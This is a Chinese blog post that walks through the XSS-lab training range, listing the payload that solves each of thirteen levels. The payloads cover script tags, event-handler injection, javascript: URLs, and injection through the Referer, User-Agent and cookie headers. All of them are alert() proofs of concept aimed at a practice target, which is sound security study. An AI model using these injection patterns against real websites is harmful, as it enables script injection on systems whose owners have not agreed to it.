xsslab通关记录(一)_xss练习网站通过记录-优快云博客

本文链接：https://blog.youkuaiyun.com/qq_43676541/article/details/130210605

XSSLab是一个经典的XSS攻防练习平台，提供了多个等级的挑战。从level-1到level-13，每个级别涉及不同的XSS注入技巧，包括<script>标签、事件触发、URL编码等。用户可以通过GitHub源码或在线靶场进行实践，部分关卡需要对请求头、Referer、User-Agent或Cookie进行代码审计和修改payload来触发XSS攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#简介 xsslab是最经典的xss练习靶场。 GitHub地址--https://github.com/rebo-rn/xss-lab 本人使用在线靶场--http://xss.xiejiahe.com/

#详解

level-1 http://xss-ctf.xiejiahe.com/level1?name=%3Cscript%3Ealert(1)%3C/script%3E
level-2 "onclick="alert(1)
level-3 ' onclick=alert(/xss/)//
level-4 " onclick = "alert(1)""
level-5 "><iframe src=javascript:alert(/xss/)> "><a href=" javascript:alert(/xss/)" 注意这个小线条才是a标签
level-6 "Onclick="alert(1)
level-7 "Onclick="alert(1)
level-8 javascript:alert(1)
level-9 javascript:%0dhttp://%0dalert(/xss/) %0d是空字符串的URL编码
leve-10 查看源码发现需要两个GET参数，一个是keyword，一个是t_sort。 keyword=test&t_sort="type="text" onclick="alert(/xss/)
level-11 需要先代码审计一下，payload位置在请求头Referer参数使用burp工具拦截修改请求头后再发送请求 " onmouseover=alert(/xss/) type="text"
level-12 和十一payload一样，只是位置是请求头User-Agent参数值
level-13 payload的位置在cookie中，burp拦截添加cookie user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"